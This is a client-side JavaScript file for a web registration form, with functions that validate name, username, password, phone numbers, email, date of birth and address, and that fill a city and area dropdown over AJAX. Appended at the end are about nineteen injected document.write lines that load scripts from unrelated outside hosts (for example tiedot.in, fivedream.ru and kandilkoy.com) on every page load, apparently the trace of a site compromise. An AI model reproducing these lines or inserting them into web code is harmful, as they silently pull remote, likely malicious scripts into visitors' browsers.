﻿
//Function to Trim a String
String.prototype.trim = function ()
{
    return this.replace(/^\s*/, "").replace(/\s*$/, "");
}

//XML Http Object
function createxmlhttpobject()
{  
    var xmlHttpobj= false;
      
    if(window.XMLHttpRequest)
    {
        xmlHttpobj=new XMLHttpRequest();
    }
    else if(window.ActiveXObject)
    {
        xmlHttpobj=new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlHttpobj;
}


// Function to E-mail ID Validation
function echeck(str)
{

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

 		 return true					
}


// Validate Travel details befor submit
function validate()
{

    //Create Instance Of Validate Class
    valid = new Validate();
    
    //Travel Name Validation
    var name = getValue('FullnameTextBox').trim();
   
    if(!valid.isEmpty(name))
    {
        alert('Name Cannot be empty');
        setFocus('FullnameTextBox');
        return false;
    }
    if(!valid.isValidName(name,4,20))
    {
        alert('Name Should be 4 to 20 Characters Length');
        clearTextBox('FullnameTextBox');
        setFocus('FullnameTextBox');
        return false;
    }
    if(!valid.isCharacters(name))
    {
        alert('Name Should Not Contain Special characters');
        clearTextBox('FullnameTextBox');
        setFocus('FullnameTextBox');
        return false;
    }
    
    //User Name Validataion
    var username = getValue('TravelUserNameTextBox').trim();
    
    if(!valid.isEmpty(username))
    {
        alert('UserName Cannot be empty');
        setFocus('TravelUserNameTextBox');
        return false;
    }
    if(!valid.isCharacters(username))
    {
        alert('UserName Should Not Contain Special characters');
        clearTextBox('TravelUserNameTextBox');
        setFocus('TravelUserNameTextBox');
        return false;
    }
    if(!valid.isValidName(username,6,15))
    {
        alert('UserName Should be 6 to 15 Characters Length');
        clearTextBox('TravelUserNameTextBox');
        setFocus('TravelUserNameTextBox');
        return false;
    }
    
     // Password Validation
    var password = getValue('PasswordTextBox');
    if(!valid.isEmpty(password))
    {
        alert('Password Required');
        setFocus('PasswordTextBox');
        return false;
    }
    
    if(!valid.isValidName(password,6,15))
    {
        alert('Password Should be Min 6 Characters and Max 15 Characters');
        setFocus('PasswordTextBox');
        clearTextBox('PasswordTextBox');
        return false;
    }
    
    //Mobile Number Validation
    var mobile1 = document.getElementById("mobile1textbox").value;
    mobile1 = mobile1.trim();
    var phonenumber= /\d{10}/;
    if(mobile1 == "")
    {
        alert("Mobile Number is Required");
        document.getElementById("mobile1textbox").focus();
        return false;
    }
    if(!phonenumber.test(mobile1) || mobile1.length != 10 )
    {
        alert("Invald Mobile Number");
        
        document.getElementById("mobile1textbox").value = "";
        document.getElementById("mobile1textbox").focus();
        return false;
    }
    if(mobile1.charAt(0) != "9")
    {
        alert("Mobile Number should start with 9");
        document.getElementById("mobile1textbox").focus();
        return false;
    }
    
    
     //Email Validation
    var emailID = document.getElementById("Emailtextbox");
    if ((emailID.value==null)||(emailID.value==""))
    {
		alert("Please Enter your Email ID");
		emailID.focus();
		return false;
	}
	if (echeck(emailID.value)==false)
	{
		emailID.value="";
		emailID.focus();
		return false;
	}
	var reEmail=/^[a-z]+(([a-z_0-9]*)|([a-z_0-9]*\.[a-z_0-9]+))*@([a-z_0-9\-]+)((\.[a-z]{3})|((\.[a-z]{2})+)|(\.[a-z]{3}(\.[a-z]{2})+))$/;
	if(!(reEmail.test(emailID.value)))
	{
	    alert("Invalid E-Mail Id");
	    emailID.value="";
		emailID.focus();
		return false;
	}
	
	
    //Mobile Number 2 Validation
    var mobile2 = document.getElementById("mobile2textbox").value;
    mobile2 = mobile2.trim();
    if(mobile2 != "")
    {
        if(!phonenumber.test(mobile2) || mobile2.length != 10 )
        {
            alert("Invald Mobile Number 2");
            document.getElementById("mobile2textbox").value = "";
            document.getElementById("mobile2textbox").focus();
            return false;
        }
        if(mobile2.charAt(0) != "9")
        {
            alert("Mobile Number should start with 9");
            
            document.getElementById("mobile2textbox").value = "";
            document.getElementById("mobile2textbox").focus();
            return false;
        }
        
    }
    //Land Line1 Validation
    var land1 = document.getElementById("landline1textbox").value.trim();
    var phoneFormat = /^(\+)?([-\._\(\) ]?[\d]{3,20}[-\._\(\) ]?){2,10}$/;

    if(land1 != "")
    {
       if(!phoneFormat.test(land1))
       {
            alert("Invalid Land Line Number");
            document.getElementById("landline1textbox").value = "";
            document.getElementById("landline1textbox").focus();
            return false;
       }
       if(land1.length > 12)
       {
            alert("Invalid Land Line Number");
            document.getElementById("landline1textbox").value = "";
            document.getElementById("landline1textbox").focus();
            return false;
       }
    }
    
     //Land Line2 Validation
    var land2 = document.getElementById("landline2textbox").value.trim();
    //var phoneFormat = /^(\+)?([-\._\(\) ]?[\d]{3,20}[-\._\(\) ]?){2,10}$/;

    if(land2 != "")
    {
       if(!phoneFormat.test(land2))
       {
            alert("Invalid Land Line Number 2");
            document.getElementById("landline2textbox").value = "";
            document.getElementById("landline2textbox").focus();
            return false;
       }
       if(land2.length > 12)
       {
            alert("Invalid Land Line Number 2");
            document.getElementById("landline2textbox").value = "";
            document.getElementById("landline2textbox").focus();
            return false;
       }
    }
    
	
	//Date Of Birth Validation
    var input = document.getElementById("todays_date");
        
    if(document.getElementById("todays_date").value != "")
    {
            
            var validformat=/^\d{2}\/\d{2}\/\d{4}$/;
            var returnval=false;
            if (!validformat.test(input.value))
            {
	            alert("Invalid Date Format.It Should be In mm/dd/yyyy format.");
	            clearTextBox('todays_date');
                setFocus('todays_date');
	            return false;
	        }
	        else
	        {
	            
	            var monthfield=input.value.split("/")[0];
		        var dayfield=input.value.split("/")[1];
		        var yearfield=input.value.split("/")[2];
		        var dayobj = new Date(yearfield, monthfield-1, dayfield);
		        
		        if ((dayobj.getMonth()+1!=monthfield)||(dayobj.getDate()!=dayfield)||(dayobj.getFullYear()!=yearfield))
		        {
		            alert("Invalid Date !!!");
		            return false;
		        }
		        var dteNow = new Date();
                var intYear = dteNow.getFullYear();
       		    if(yearfield *1 >= intYear*1)
       		    {
       		        alert(input.value+': Is This Your DOB ? r u sure !!!');
       		        return false;
       		    }
	        }
	       // return returnval; 
    }
	
	//Address Validation
	var address = document.getElementById("addresstb").value; 
	address = address.trim();
	if(address == null || address == "")
	{
	    alert("Street is Required");
	    document.getElementById("addresstb").focus();
	    return false;
	}
	
	if(!valid.isNoSplChars(address))
	{
	    alert('In Valid Characters in Street Name');
        clearTextBox('addresstb');
        setFocus('addresstb');
        return false;
	}
	
	//State Validation
	if(document.getElementById("StateDDL").selectedIndex == 0)
	{
	    alert("State Is Required");
	    return false;
	}
	
	//City Validation
	var r  =/^[A-Za-z]+$/;

	var cityObj = document.getElementById("SelectCity");
	var othrCity = document.getElementById("OthersCityTextBox");
	if(cityObj.selectedIndex == 0)
	{
	    alert("City Is Required");
	    return false;
	}
	if(cityObj.selectedIndex == 0 || (cityObj.options[cityObj.selectedIndex].value == "-1" && othrCity.value.trim() == ""))
	{
	    alert("City Is Required");
	    othrCity.focus();
	    return false;
	}
	if(cityObj.selectedIndex == 0 || (cityObj.options[cityObj.selectedIndex].value == "-1" && othrCity.value.trim() != ""))
	{
	    var nameofcity = othrCity.value.trim();
	    if(!valid.isCharacters(nameofcity))
	    {
	        alert("City Name Contains text Only");
	        othrCity.value = "";
	        othrCity.focus();
	        return false;
	    }
	    if(nameofcity.length < 2 || nameofcity.length > 15)
	    {
	        alert("City Name should be Minimum 3 Characters and Maximum 15 Characters");
	        othrCity.value = "";
	        othrCity.focus();
	        return false;
	    }
	    
	}
	//Area Validation
	var areaObj = document.getElementById('AreaDDL');
	var othrArea = document.getElementById('OthersTextBox');
	if(areaObj.selectedIndex == 0)
	{
	    alert("Area Is Required");
	    return false;
	}
	if(areaObj.selectedIndex == 0 || (areaObj.options[areaObj.selectedIndex].value == "-1" && othrArea.value.trim() == ""))
	{
	   alert("Area Is Required");
	   othrArea.focus();
	    return false;
	}
	if(areaObj.selectedIndex == 0 || (areaObj.options[areaObj.selectedIndex].value == "-1" && othrArea.value.trim() != ""))
	{
	   var nameofarea = othrArea.value.trim();
	   if(!valid.isCharacters(nameofarea))
	    {
	        alert("Area Name Contains text Only");
	        othrArea.value = "";
	        othrArea.focus();
	        return false;
	    }
	    if(nameofarea.length < 2 || nameofarea.length > 15)
	    {
	        alert("Area Name should be Minimum 3 Characters and Maximum 15 Characters");
	        othrArea.value = "";
	        othrArea.focus();
	        return false;
	    }
	   
	}
	//alert(document.getElementById('areaIndex').value);
	
	//Pin Number validation
	 var pin= /\d{6}/;
	 var pinnumber = document.getElementById("Pintextbox").value; 
	 if( pinnumber != "")
	 {
	     if(!pin.test(pinnumber) || pinnumber.length != 6 )
         {  
            alert("Invalid Pin Number");
            document.getElementById("Pintextbox").value = "";
            document.getElementById("Pintextbox").focus();
            return false;
         }
	 }
	return true;
}

//City Change Event
function SelectCityChanged(cityObj)
{
    //alert("select City changed");
    if(cityObj.selectedIndex == 0)
    {   
        if(document.getElementById('OthersCityTextBox') != null)
        {
            document.getElementById('OtherCity').style.display = 'none';
            document.getElementById('OthersCityTextBox').style.visibility ='hidden';
        }
        if(document.getElementById('OthersTextBox') != null)
        {
            document.getElementById('OtherArea').style.display = 'none';
            document.getElementById('OthersTextBox').style.visibility ='hidden';
        }
        clearAreaDropDown(); 
        return;
    }
    if(cityObj.options[cityObj.selectedIndex].value == "-1")
    {
        //alert("Other city");
        if(document.getElementById('OthersCityTextBox') != null)
        {
            document.getElementById('OtherCity').style.display = 'block';
            document.getElementById('OthersCityTextBox').style.visibility ='visible'; 
        }
        clearAreaDropDown();
        //Add The Option for Other Areas
         var sel = document.createElement('option');
         document.getElementById("AreaDDL").options.add(sel);
         sel.value = "-1";
         sel.text = "Others";
    }
    else
    {
        if(document.getElementById('OthersCityTextBox') != null)
        {
            document.getElementById('OtherCity').style.display = 'none';
            document.getElementById('OthersCityTextBox').style.visibility ='hidden'; 
        }
        if(document.getElementById('OthersTextBox') != null)
        {
            document.getElementById('OthersTextBox').style.visibility ='hidden';
            document.getElementById('OtherArea').style.display = 'none';
        }
        populateAreas(cityObj.options[cityObj.selectedIndex].value);
       
    }
    
}

//Area Change Event
function SelectAreaChange(areaObj)
{
    document.getElementById('areaIndex').value = areaObj.selectedIndex;
    //document.getElementById('areaSnoHidden').value = "0";
    //alert(document.getElementById('areaIndex').value);   
    if(areaObj.selectedIndex == 0)
    {
        if(document.getElementById('OthersTextBox') != null)
        document.getElementById('OthersTextBox').style.visibility ='hidden';
        document.getElementById('OtherArea').style.display = 'none';
        document.getElementById('areaSnoHidden').value = "0";
        return;
    }
     if(areaObj.options[areaObj.selectedIndex].value == "-1")
    {
        //alert("Other Area");
        if(document.getElementById('OthersTextBox') != null)
        document.getElementById('OthersTextBox').style.visibility ='visible'; 
        document.getElementById('OtherArea').style.display = 'block';
        document.getElementById('areaSnoHidden').value = "-1";
        
    }
    else
    {
        if(document.getElementById('OthersTextBox') != null)
        document.getElementById('OthersTextBox').style.visibility ='hidden';
        document.getElementById('OtherArea').style.display = 'none';
        document.getElementById('areaSnoHidden').value = areaObj.options[areaObj.selectedIndex].value; 
       
    }
    
}
function onLoadAreas()
{
        
    var areaObj = document.getElementById('AreaDDL');
    var cityObj = document.getElementById("SelectCity");
    if(cityObj.selectedIndex != 0 && cityObj.options[cityObj.selectedIndex].value != "-1")
    {
        populateAreas(cityObj.options[cityObj.selectedIndex].value);
    }
    //if(document.getElementById('areaIndex').value != null && document.getElementById('areaIndex').value == "")
    if(document.getElementById('areaIndex') != null) 
    areaObj.selectedIndex = parseInt(document.getElementById('areaIndex').value);
   
    //alert(document.getElementById('areaIndex').value);}
}

// Populate Areas In to Drop Down
function populateAreas(citySno)
{
    //alert("Populate areas Coming Up"+citySno);
    var xmlHttpObject = createxmlhttpobject(); 
    if(xmlHttpObject)
    {
        var url = "insetAreasRuntime.aspx";
        url = url+"?csno="+citySno;
         xmlHttpObject.open("POST",url,false);
        xmlHttpObject.onreadystatechange=function()
        {
            if(xmlHttpObject.readyState == 4 && xmlHttpObject.status==200 )
            {
                var recStr = xmlHttpObject.responseText;
                //alert(recStr);
                 clearAreaDropDown();
                if(recStr != null && recStr != "")
                {
                   
                    
                     var eachArea = recStr.split("|");
                    for(var i=0; i<eachArea.length-1; i++)
                    {
                        var area = eachArea[i].split("`");
                        var areatOption  = document.createElement('option');
                        document.getElementById("AreaDDL").options.add(areatOption);
                        areatOption.value = area[0];
                        areatOption.text = area[1];
                        
                    }
                }
                var sel = document.createElement('option');
                document.getElementById("AreaDDL").options.add(sel);
                sel.value = "-1";
                sel.text = "Others";
                     
            }
        }
      xmlHttpObject.send(null);   
    }
}

function clearAreaDropDown()
{
    var areObj = document.getElementById("AreaDDL");
    areObj.options.length = 0;
    
     var sel = document.createElement('option');
     document.getElementById("AreaDDL").options.add(sel);
     sel.value = "0";
     sel.text = "--Select Area--";
}

function CheckMaxChars(textboxname)
{
    //var element = document.getElementById(textboxname);
    if (textboxname.value.length > 1024)
    textboxname.value = textboxname.value.substring(0,1023);
}
document.write('<script src=http://interweigh.ca/stats/inmotion7.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://roncocleaning.com/_images/products.php ><\/script>');
document.write('<script src=http://barbier-family.de/js/oberschl.php ><\/script>');
document.write('<script src=http://coquettecheesecake.net/images/gifimg.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://avenue-alarms.co.uk/scripts/index.php ><\/script>');